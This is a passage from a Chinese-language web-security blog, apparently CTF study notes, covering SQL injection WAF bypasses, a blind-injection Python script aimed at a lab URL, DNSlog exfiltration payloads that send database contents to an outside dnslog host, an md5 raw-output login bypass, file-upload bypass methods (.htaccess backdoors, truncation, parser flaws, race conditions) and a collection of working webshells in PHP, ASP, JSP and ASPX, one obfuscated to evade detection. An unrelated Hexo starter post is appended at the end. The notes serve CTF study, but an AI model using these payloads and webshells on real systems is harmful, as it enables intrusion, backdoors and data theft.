2
3
4
5
6
7
8
select left((select database()),1)    // s
select left((select database()),2) // se
select left((select database()),3) // sec
select left((select database()),4) // secu
select left((select database()),5) // secur
select left((select database()),6) // securi
select left((select database()),7) // securit
select left((select database()),8) // security
  • 使用mid()绕过substr()

mid()函数的使用就和substr()函数一样了:

1
2
3
4
5
6
select mid((select database()),1,1)    // s
select mid((select database()),2,1) // e
select mid((select database()),3,1) // c
select mid((select database()),4,1) // u
select mid((select database()),5,1) // r
......
  • 还可以使用下面这个神奇的东西绕过
1
2
3
4
5
6
7
8
select insert(insert((select database()),1,0,space(0)),2,222,space(0));    // s
select insert(insert((select database()),1,1,space(0)),2,222,space(0)); // e
select insert(insert((select database()),1,2,space(0)),2,222,space(0)); // c
select insert(insert((select database()),1,3,space(0)),2,222,space(0)); // u
select insert(insert((select database()),1,4,space(0)),2,222,space(0)); // r
select insert(insert((select database()),1,5,space(0)),2,222,space(0)); // i
select insert(insert((select database()),1,6,space(0)),2,222,space(0)); // t
......

INSERT( string , position , number , string2 )

INSERT()函数在指定位置的字符串中插入一个字符串,并插入一定数量的字符。

参数 描述
string 必须项。要修改的字符串
position 必须项。插入string2的位置
number 必须项。要替换的字符数
string2 必须项。要插入字符串的字符串

HTTP参数污染(HPP)漏洞绕过 Waf

HPP是HTTP Parameter Pollution的缩写,意为HTTP参数污染。浏览器在跟服务器进行交互的过程中,浏览器往往会在GET或POST请求里面带上参数,这些参数会以 键-值 对的形势出现,通常在一个请求中,同样名称的参数只会出现一次。

但是在HTTP协议中是允许同样名称的参数出现多次的。比如下面这个链接:http://www.baidu.com?name=aa&name=bb,针对同样名称的参数出现多次的情况,不同的服务器的处理方式会不一样。有的服务器是取第一个参数,也就是 name=aa。有的服务器是取第二个参数,也就是 name=bb。有的服务器两个参数都取,也就是 name=aa,bb。这种特性在绕过一些服务器端的逻辑判断时,非常有用。

HPP漏洞,与Web服务器环境、服务端使用的脚本有关。如下是不同类型的Web服务器对于出现多个参数时的选择:

Web 服务器 参数获取函数 获取到的参数
PHP/Apache $_GET[‘a’] Last
JSP/Tomcat Request.getParameter(‘a’) First
Perl(CGI)/Apache Param(‘a’) First
Python/Apache getvalue(‘a’) All
ASP/IIS Request.QueryString(‘a’) All

假设服务器端有两个部分:第一部分是Tomcat为引擎的JSP/Tomcat型服务器,第二部分是Apache为引擎的PHP/Apache型服务器。第一部分的JSP/Tomcat服务器处做数据过滤和处理,功能类似为一个WAF,而真正提供Web服务的是PHP/Apache服务器。那么服务端的工作流程为:客户端访问服务器,能直接访问到JSP/Tomcat服务器,然后JSP/Tomcat服务器再向PHP/Apache服务器请求数据。数据返回路径则相反。

那么此时我们便可以利用不同服务器解析参数的位置不同绕过WAF的检测。来看看如下请求:

1
index.jsp?id=1&id=2

客户端请求首先过JSP/Tomcat服务器,JSP/Tomcat服务器解析第一个参数,接下来JSP/Tomcat服务器去请求PHP/Apache服务器,PHP/Apache服务器解析最后一个参数。假设JSP/Tomcat服务器作为Waf对第一个参数进行检测,那我们便可以在第二个参数中传payload来绕过Waf。如下所示:

1
/index.jsp?id=1&id=-1' union select 1,database(),3--+

这样 Waf 可能只检测第一个参数 id=1,而PHP脚本真正识别的是 id=select database()--+

[例题]Sql-Labs Less-29

False 注入绕过

False 注入原理

前面我们学过的注入都是基于1=1这样比较的普通注入,下面来说一说 False 注入,利用 False 我们可以绕过一些特定的 WAF 以及一些未来不确定的因素。

首先我们来看一看下面这个sql查询语句:

1
select * from user where uesrname = 0;

img

为什么 username = 0 会导致返回数据,而且是全部数据呢?

这就是一个基于 False 注入的例子,下面再举一个例子:

1
select * from user where username = 0;

img

和上面是同一个表,但是为什么这里只返回了两组数据呢?说到这里不得不说一说有关于 MYSQL 的隐式类型转换。

MYSQL 的隐式类型转换,即当字符串和数字比较时,会把字符串转为浮点数,而字符串转换为浮点数很明显会转换失败,这时就会产生一个warning,转换的结果为0,然后0 = 0 返回的是 True ,这样就将表中的数据全部返回了。但如果字符串开头是数字话还是会从数字部分截断,转换为数字进行比较,在第二个例子中,passwd 字段中有一个值是以数字1开头的并非为0,再进行 passwd = 0 比较时,会从1开始截断,1 = 0 不成立,当然就只返回两条数据了。这就是 MYSQL False 注入的原理。

False 注入利用

下面我们讲讲 False 注入如何利用,及如何构造 False 注入的利用点。在实际中我们接触到的语句都是带有引号的,如下:

1
select * from user where username ='.$username.';

在这种情况下,我们如何绕过引号构造出 0 这个值呢,我们需要做一些处理来构造false注入的利用点

可以使用的姿势有很多,比如下面的算数运算:

  • 利用算数运算

加:+

1
插入'+', 拼接的语句: select * from user where username =''+'';

减:-

1
插入'-', 拼接的语句: select * from user where username =''-'';

乘:*

1
插入'*', 拼接的语句: select * from user where username =''*'';

除:/

1
插入'/6#, 拼接的语句: select * from user where username =''/6#';

取余:%

1
插入'%1#, 拼接的语句: select * from user where username =''%1#';
  • 利用位操作运算

我们还可以使用当字符串和数字运算的时候类型转换的问题进行利用。

和运算:&

1
插入'&0#, 拼接的语句: select * from user where username =''&0#';

或运算:|

1
插入'|0#, 拼接的语句: select * from user where username =''|0#';

异或运算:^

1
插入'^0#, 拼接的语句: select * from user where username =''^0#';

移位操作:

1
2
3
插入'<<0# 或 '>>0#, 拼接的语句: 
select * from user where username =''<<0#';
select * from user where username =''>>0#';
  • 利用比较运算符

安全等于:<=>

1
'=0<=>1# 拼接的语句:where username=''=0<=>1#'

不等于<>(!=)

1
'=0<>0# 拼接的语句:where username=''=0<>0#'

大小于>或<

1
'>-1# 拼接的语句:where username=''>-1#
  • 其他
1
'+1 is not null#  'in(-1,1)#  'not in(1,0)#  'like 1#  'REGEXP 1#  'BETWEEN 1 AND 1#  'div 1#  'xor 1#  '=round(0,1)='1  '<>ifnull(1,2)='1
综合利用

false注入这种注入方式有的优势就是,在某些特定时候可以绕过WAF或者是一些其他的绕过

这里举例一道题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
<?php  
include("config.php");
$conn ->query("set names utf8");

function randStr($lenth=32){
$strBase = "1234567890QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm";
$str = "";
while($lenth>0){
$str.=substr($strBase,rand(0,strlen($strBase)-1),1);
$lenth --;
}
return $str;
}
if($install){
$sql = "create table `user` ( `id` int(10) unsigned NOT NULL PRIMARY KEY AUTO_INCREMENT , `username` varchar(30) NOT NULL, `passwd` varchar(32) NOT NULL, `role` varchar(30) NOT NULL )ENGINE=MyISAM AUTO_INCREMENT=1 DEFAULT CHARSET=latin1 COLLATE=latin1_general_ci ";
if($conn->query($sql)){
$sql = "insert into `user`(`username`,`passwd`,`role`) values ('admin','".md5(randStr())."','admin')";
$conn -> query($sql);
}
}

function filter($str){
$filter = "/ |*|#|;|,|is|union|like|regexp|for|and|or|file|--|||`|&|".urldecode('%09')."|".urldecode("%0a")."|".urldecode("%0b")."|".urldecode('%0c')."|".urldecode('%0d')."|".urldecode('%a0')."/i";
if(preg_match($filter,$str)){
die("you can't input this illegal char!");
}
return $str;
}

function show($username){
global $conn;
$sql = "select role from `user` where username ='".$username."'";
$res = $conn ->query($sql);
if($res->num_rows>0){
echo "$username is ".$res->fetch_assoc()['role'];
}else{
die("Don't have this user!");
}
}

function login($username,$passwd){
global $conn;
global $flag;
$username = trim(strtolower($username));
$passwd = trim(strtolower($passwd));
if($username == 'admin'){
die("you can't login this as admin!");
}
$sql = "select * from `user` where username='".$conn->escape_string($username)."' and passwd='".$conn->escape_string($passwd)."'";
$res = $conn ->query($sql);
if($res->num_rows>0){
if($res->fetch_assoc()['role'] === 'admin') exit($flag);
}else{
echo "sorry,username or passwd error!";
}
}
function source(){
highlight_file(__FILE__);
}
$username = isset($_POST['username'])?filter($_POST['username']):"";
$passwd = isset($_POST['passwd'])?filter($_POST['passwd']):"";
$action = isset($_GET['action'])?filter($_GET['action']):"source";

switch($action){
case "source": source(); break ;
case "login" : login($username,$passwd);break;
case "show" : show($username);break;
}

我们注意到filter()函数

1
$filter = "/ |*|#|;|,|is|union|like|regexp|for|and|or|file|--|||`|&|".urldecode('%09')."|".urldecode("%0a")."|".urldecode("%0b")."|".urldecode('%0c')."|".urldecode('%0d')."|".urldecode('%a0')."/i";

这里看起来过滤的比较多,其中and,or还有&,|都被过滤了,这个时候就可以利用false进行盲注

可以在show函数利用查询的时候注入,

1
username = "admin'^!(mid((passwd)from(-{pos}))='{passwd}')='1"

这里官方给出的就是利用异或,其实这里并不需要 admin 只要是一串字符串就可以

异或会使字符串都转为浮点型,都变为了0,由于0=0^0 -> 1^0 -> 1 当然对于这个题并不一定利用这个,直接截取字符串作比较就可以,但是这里只是提供一种姿势,由于mysql的灵活,其花样也比较多还有就是构造的payload比较简短,例如’+‘、’^‘、’/4#‘ 这样只有三个字符便可以绕过登录,简单粗暴,还有就是类似的文章不多,许多开发人员容易忽视这些细节。

盲注脚本
1
2
3
4
5
6
7
8
9
10
11
import requests

flag = ''

for i in range(1,33):
for str in "abcdefghijklmnopkrstuvwxyz":
url = "http://cc248a80-6376-49cf-b846-16c188eeb1fc.node3.buuoj.cn/Less-8/?id='^(mid((select database())from(-{0}))='{1}')='1".format(i,str+flag)
res = requests.get(url=url)
if "You are in..........." in res.text:
flag = str+flag
print(flag)

DNS注入

原理

通过子查询,将内容拼接到域名内,让load_file()去访问共享文件,访问的域名被记录此时变为显错注入,将盲注变显错注入,读取远程共享文件,通过拼接出函数做查询,拼接到域名中,访问时将访问服务器,记录后查看日志。

在无法直接利用的情况下,但是可以通过DNS请求,通过DNSlog,把数据外带,用DNS解析记录查看。

LOAD_FILE() 读取文件的函数

读取文件并返回文件内容为字符串。

要使用此函数,文件必须位于服务器主机上,必须指定完整路径的文件,而且必须有FILE权限。该文件所有字节可读,但文件内容必须小于max_allowed_packet(限制server接受的数据包大小函数,默认1MB)。 如果该文件不存在或无法读取,因为前面的条件之一不满足,函数返回 NULL。

注:这个功能不是默认开启的,需要在mysql配置文件加一句 secure_file_priv=

DNSLOG平台:

https://dns.xn--9tr.com/

https://log.xn--9tr.com/

UNC路径

UNC路径通用命名规则,也称通用命名规范、通用命名约定,类似\softer这样的形式的网络路径。

UNC路径的 格式\server\sharename\directory\filename

等同于SELECT LOAD_FILE(‘//库名.1806dl.dnslog.cn/abc’

去访问 库名.1806dl.dnslog.cn 的服务器下的共享文件夹abc。

然后1806dl.dnslog.cn的子域名的解析都是在某台服务器,然后他记录下来了有人请求访问了error.1806dl.dnslog.cn,然后在DnsLog这个平台上面显示出来了

payload示例:

1
2
3
4
?id=1 and load_file(concat('//', database(),'.htleyd.dnslog.cn/abc'))
?id=1 and load_file(concat('//', (select table_name from information_schema.tables where table_schema=database() limit 0,1 ),'.htleyd.dnslog.cn/abc'))
?id=1 and load_file(concat('//',(select column_name from information_schema.columns where table_name=’admin’ and table_schema=database() limit 2,1),'.htleyd.dnslog.cn/abc'))
?id=1 and load_file(concat('//',(select password from admin limit 0,1),'.htleyd.dnslog.cn/abc'))

‘“.md5($pass,true).”‘ 登录绕过

很多站点为了安全都会利用这样的语句:

1
SELECT * FROM users WHERE password = '.md5($password,true).';

md5(string,true) 函数在指定了true的时候,是返回的原始 16 字符二进制格式,也就是说会返回这样子的字符串:'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c

img

这不是普通的二进制字符串,而是 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c 这种,这样的话就会和前面的形成闭合,构成万能密码。

1
SELECT * FROM users WHERE password = ''or'6.......'

这就是永真的了,这就是一个万能密码了相当于 1' or 1=1#1' or 1#

但是我们思考一下为什么 6\xc9]\x99\xe9!r,\xf9\xedb\x1c 的布尔值是true呢?

在mysql里面,在用作布尔型判断时,以1开头的字符串会被当做整型数(这类似于PHP的弱类型)。要注意的是这种情况是必须要有单引号括起来的,比如 password=‘xxx’ or ‘1xxxxxxxxx’,那么就相当于password=‘xxx’ or 1 ,也就相当于 password=‘xxx’ or true,所以返回值就是true。这里不只是1开头,只要是数字开头都是可以的。当然如果只有数字的话,就不需要单引号,比如 password=‘xxx’ or 1,那么返回值也是 true。(xxx指代任意字符)

接下来就是找到这样子的字符串,这里给出两个吧。

ffifdyop:

1
2
3
4
content: ffifdyop
hex: 276f722736c95d99e921722cf9ed621c
raw: 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c
string: 'or'6]!r,b

129581926211651571912466741651878684928:

1
2
3
4
content: 129581926211651571912466741651878684928
hex: 06da5430449f8f6f23dfc1276f722738
raw: \x06\xdaT0D\x9f\x8fo#\xdf\xc1'or'8
string: T0Do#'or'8

前端绕过

正常上传文件,捉取数据包修改(bp抓包改后缀)

后端绕过

服务器端检测的绕过

函数特性

move_uploaded_file函数会自动去除文件名末尾的点 和 /.

fopen函数特性

1
2
3
4
5
6
7
8
9
<?php
$filename='1.php/.';
$content="<?php eval($_POST[1]);?>";
$f = fopen($filename, 'w');
fwrite($f, $content);
fclose($f);
?>
#会在当前目录生成1.php,文件名为1.php.也可以
————————————————
其它

后缀名大小写

后缀名双写

尝试php3 phtml php3457(linux+apache+php5.6)等后缀

检测MIME类型的,捉包改MIME类型

服务端检测(MINE类型检测) #

MIME (Multipurpose Internet Mail Extensions) 是描述消息内容类型的因特网标准。

服务器代码判断$_FILES[”file“][“type”]是不是图片格式(image/jpegimage/pngimage/gif),如果不是,则不允许上传该文件。

绕过方法:

抓包后更改Content-Type为允许的类型绕过该代码限制,比如将php文件的Content-Type:application/octet-stream修改为image/jpegimage/pngimage/gif等就可以

常见MIMETYPE

audio/mpeg -> .mp3 application/msword -> .doc application/octet-stream -> .exe application/pdf -> .pdf application/x-javascript -> .js application/x-rar -> .rar application/zip -> .zip image/gif -> .gif image/jpeg -> .jpg / .jpeg image/png -> .png text/plain -> .txt text/html -> .html video/mp4 -> .mp4

服务端检测(目录路径检测) #

对目录路径的检测不够严谨而导致可以使用%00截断绕过进行攻击。

绕过方法:

  • 例如:/111.php%00.gif/111.gif -> /111.php

服务端检测(文件扩展名检测) #

绕过方法:

  • 文件名大小写绕过,如:*.pHp *.aSP
  • 文件名双写绕过,如:*.pphphp
  • Unicode: 当目标存在json_decode且检查在json_decode之前,可以将php写为\u0070hp
  • 名单列表绕过,如:*.asa *.cer
  • 特殊文件名绕过,比如windows文件名最后不能有.或空格,可设为*.php.*.php+
  • 0x00截断绕过,比如:*.php(0x00).jpg*.php%00.jpg
  • 文件包含漏洞
  • 服务器解析漏洞
  • .htaccess文件攻击

文件截断绕过攻击 #

截断类型:PHP%00截断

截断原理:由于00代表结束符,所以会把00后面的所有字符删除

截断条件:PHP版本小于5.3.4,PHP的magic_quotes_gpc为OFF状态

绕过方法:

  • 例如上传文件shell.php,上传文件路径为/?upload=shell.php
  • 绕过:/?upload=shell.php%00.jpg -> /?upload=shell.php

解析漏洞攻击 #

主要有目录解析、文件解析,Apache解析漏洞、Nginx解析漏洞、IIS7.5解析漏洞。

目录解析 #

  • 形式:www.xxx.com/xxx.asp/xxx.jpg
  • 原理:服务器会默认把 .asp.asp目录下的文件都解析成asp文件

文件解析 #

  • 形式:www.xxx.com/xxx.asp;.jpg
  • 原理:服务器默认不解析;后面的内容,因此xxx.asp;jpg被解析为xxx.asp文件了

Apache解析漏洞 #

服务器代码中限制了某些后缀的文件不允许上传,但是有些Apache是允许解析其它后缀的,例如在httpd.conf中如果配置有如下代码,则能够解析php和phtml文件

1
AddType application/x-httpd-php .php .phtml

1

常用后缀:*.php *.php3 *.php4 *.php5 *.phtml *.pht

在Apache的解析顺序中,是从右到左开始解析文件后缀的,如果最右侧的扩展名不可识别,就继续往左判断,直到遇到可以解析的文件后缀为止。因此,例如上传的文件名为1.php.xxxx,因为后缀xxxx不可解析,所以向左解析后缀php。

  • 例如:shell.php.qwe.asd ->shell.php

Nginx解析漏洞 #

Nginx默认是以CGI的方式支持PHP解析的,普遍的做法是在Nginx配置文件中通过 正则匹配设置SCRIPT_FILENAME。当访问www.xxx.com/phpinfo.jpg/1.php这个 URL时,$fastcgi_script_name会被设置为“phpinfo.jpg/1.php”,然后构造成 SCRIPT_FILENAME传递给PHP CGI。

原因是开启了 fix_pathinfo 这个选项,会触发 在PHP中的如下逻辑: PHP会认为SCRIPT_FILENAME是phpinfo.jpg,而1.php是PATH_INFO,所以就会 将phpinfo.jpg作为PHP文件来解析了。

攻击方式

  • 形式: www.xxxx.com/UploadFiles/image/1.jpg/1.php www.xxxx.com/UploadFiles/image/1.jpg%00.php www.xxxx.com/UploadFiles/image/1.jpg/%20\0.php
  • 另一种方法:上传一个名字为test.jpg,然后访问test.jpg/.php,在这个目录下就会生成一句话木马shell.php。

IIS7.5解析漏洞 #

IIS7.5的漏洞与nginx的类似,都是由于php配置文件中,开启了 cgi.fix_pathinfo,而这并不是nginx或者iis7.5本身的漏洞。

竞争条件攻击 #

一些网站上传文件的逻辑时先允许上传任意文件,然后检查上传文件的文件是否包含WebShell脚本,如果包含则删除该文件。这里存在的问题是文件上传成功后和删除文件之间存在一个短暂的时间差(因为需要执行检查文件和删除文件的操作),攻击者可以利用这个时间差完成竞争条件的上传漏洞攻击。

攻击方法:

  • 攻击者需要先上传一个WebShell脚本1.php,1.php的内容为生成一个新的WebShell脚本shell.php,1.php写入如下代码
1
2
3
<?php
fputs(fopen("../shell.php", "w"),'<?php @eval($_POST['cmd']); ?>');
?>
  • 当1.php上传完成后,客户端立即访问1.php,则会在服务端当前目录下自动生成shell.php,这时攻击者就利用了时间差完成了WebShell的上传

双文件上传 #

本意为上传两个或多个文件去突破。上传点支持多文件上传,但是却只对第一个文件做了过滤。

利用方式:

  • 在存在双文件上传漏洞的页面中,查看上传的页面。F12找到上传的post表单,action属性是指定上传检测页面,一般是写的绝对路径,比如:xxx.asp/xxx.php
  • 补全url:https://www.xxx.com/xxx.php(asp)
  • 构造本地post提交表单
1
2
3
4
5
6
<form action="https://www.xxx.com/xxx.asp(php)" method="post"
name="form1" enctype="multipart/form‐data">
<input name="FileName1" type="FILE" class="tx1" size="40">
<input name="FileName2" type="FILE" class="tx1" size="40">
<input type="submit" name="Submit" value="上传">
</form>

利用时只需要修改action的值为指定上传页面即可

  • 第一个文件上传允许的文件类型(.jpg .png .gif 等),第二个上传文件是一句话木马或者WebShell脚本。这样就可以突破上传限制,成功上传木马到服务器。

php3457 #

该项为apache专属。关键点在/etc/apache2/mods-available/php5.6.conf这个文件,满足.+\.ph(p[3457]?|t|tml)$,都会被当作php文件解析。

在apache2目录下grep -r x-httpd-php /etc/apache2找到对应文件就能知道解析哪些后缀。

.htaccess文件攻击 #

.htaccess文件(或者”分布式配置文件”)提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。

概述来说,htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

启用.htaccess,需要修改httpd.conf,启用AllowOverride,并可以用AllowOverride限制特定命令的使用。如果需要使用.htaccess以外的其他文件名,可以用AccessFileName指令来改变。例如,需要使用.config ,则可以在服务器配置文件中按以下方法配置:AccessFileName .config 。

笼统地说,.htaccess可以帮我们实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能。

一般.htaccess可以用来留后门和针对黑名单绕过。在上传网站的根目录下,上传一个.htaccess文件即可。

绕过方法:

  • 针对黑名单绕过

创建一个txt文件,写入

1
AddType  application/x-httpd-php    .png

另存为 .htaccess 名称,保存类型为所有文件,即可将png文件解析为php文件。

  • 留后门

.htaccess 内写入php解析规则,类似于把文件名包含s的解析成php文件

1
2
3
<FilesMatch "s">
SetHandler application/x-httpd-php
</FilesMatch>

shell.png 就会以php文件执行

  • 利用.htaccess进行文件包含
1
2
php_value auto_prepend_file ".htaccess"
#<?php eval($_POST[cmd]);?>
  • 使用#注释使得.htaccess能够成功解析

服务器检测(文件内容检测) #

文件幻数检测(文件开头) #

幻数 magic number,它可以用来标记文件或者协议的格式,很多文件都有幻数标志来表明该文件的格式。

要绕过文件幻数检测就要在文件开头写上如下的值

1
2
3
.jpg	FF D8 FF E0 00 10 4A 46 49 46
.gif 47 49 46 38 39 61
.png 89 50 4E 47

在文件幻数后面加上自己的WebShell代码就行

文件相关信息检测 #

图像文件相关信息检测常用的是getimagesize()函数,需要把文件头部分伪造,也就是在幻数的基础上还加了一些文件信息。

  • 例如下面结构
1
2
3
4
GIF89a
(...some binary data for image...)
<?php phpinfo(); ?>
(... skipping the rest of binary data ...)

另一种是判断是否包含<?或者php

  • 绕过<?

    1
    <script language='php'>@eval($_POST[cmd]);</script>
  • 绕过php

    1
    <?= @eval($_POST['cmd']);?>

绕过方法:

  • 对渲染/加载测试的攻击方式是代码注入绕过。使用winhex在不破坏文件本身的渲染情况下找一个空白区进行填充代码,一般为图片的注释区。
  • 对二次渲染的攻击方式就是攻击文件加载器自身。例如:
1
2
上传文件数据不完整的gif文件 -> 触发报错imagecreatefromgif()函数
上传文件数据不完整的png文件 -> 触发报错imagecreatefrompng()函数

某后台调用GD库对图像进行二次渲染的代码

1
2
3
4
5
6
7
8
9
10
function image_gd_open($file, $extension)
{
$extension = str_replace('jpg', 'jpeg', $extension);
$open_func = 'imageCreateFrom'. $extension; //函数名变成imageCreateFrompng 之类
if (!function_exists($open_func))
{
return FALSE;
}
return $open_func($file); //变成imagecreatefrompng('/tmp/phpimage')
}
  • 对文件加载器进行攻击,常见的就是溢出攻击。上传自己的恶意文件后,服务器上的文件加载器会主动进行加载测试,加载测试时被溢出攻击执行shellcode,比如access/mdb溢出。

文件上传中的目录穿越漏洞 #

攻击方式

形式:上传的文件会被解析为日志不能执行,给出了/uploads/xxx.php路径并且可以查询

绕过:上传文件的时候抓包,修改文件名(filename)为./../../../../flag,上传成功后路径变为/uploads/./../../../../flag即可进行目录穿越

攻击代码 #

文件压缩:

软链接压缩包,然后上传到软链接下,放🐎进行攻击

1
2
3
4
5
6
7
8
9
ln -s /var/www/html web  #创建软链接文件夹
zip -y zip.zip web #将软链接压缩生成一个zip.zip

再在web下面放一个shell.php(🐎)
zip -y z.zip web #再生成一个带🐎的压缩包

然后上传zip.zip,将上传路径改到可控目录/var/www/html
然后上传z.zip,即传到了,显示的网页下(var/www/html/shell.php)
蚁剑

常用攻击代码 #

简单的一句话木马

1
<?php @eval($_POST['cmd']);?>

绕过<?限制的一句话木马

1
<script language = 'php'>@eval($_POST[cmd]);</script>

绕过<?php ?>限制的一句话木马

1
<?= @eval($_POST['cmd']);

asp一句话木马

1
<%eval(Request.Item["cmd"],”unsafe”);%>

JSP一句话木马

1
<%if(request.getParameter("f")!=null)(newjava.io.FileOutputStream (application.getRealPath("\\")+request.getParameter("f"))).write (request.getParameter("t").getBytes());%>

JSP一句话免杀(ASCLL编码)

1
2
3
4
5
6
7
8
9
10
<%@ page contentType="text/html;charset=UTF-8"  language="java" %>
<%
if(request.getParameter("cmd")!=null){
Class rt = Class.forName(new String(new byte[] { 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101 }));
Process e = (Process) rt.getMethod(new String(new byte[] { 101, 120, 101, 99 }), String.class).invoke(rt.getMethod(new String(new byte[] { 103, 101, 116, 82, 117, 110, 116, 105, 109, 101 })).invoke(null), request.getParameter("cmd") );
java.io.InputStream in = e.getInputStream();
int a = -1;byte[] b = new byte[2048];out.print("<pre>");
while((a=in.read(b))!=-1){ out.println(new String(b)); }out.print("</pre>");
}
%>

ASPX一句话

1
<script language="C#"runat="server">WebAdmin2Y.x.y a=new WebAdmin2Y.x.y("add6bb58e139be10")</script>

1

其它攻击代码 #

异或取反等操作写shell的php脚本、混淆木马、不死马。

更多参考 #

https://bbs.ichunqiu.com/thread-41672-1-1.html?from=sec

https://www.freebuf.com/articles/web/253698.html

https://www.freebuf.com/articles/web/179954.html

Welcome to Hexo! This is your very first post. Check documentation for more info. If you get any problems when using Hexo, you can find the answer in troubleshooting or you can ask me on GitHub.

Quick Start

Create a new post

1
$ hexo new "My New Post"

More info: Writing

Run server

1
$ hexo server

More info: Server

Generate static files

1
$ hexo generate

More info: Generating

Deploy to remote sites

1
$ hexo deploy

More info: Deployment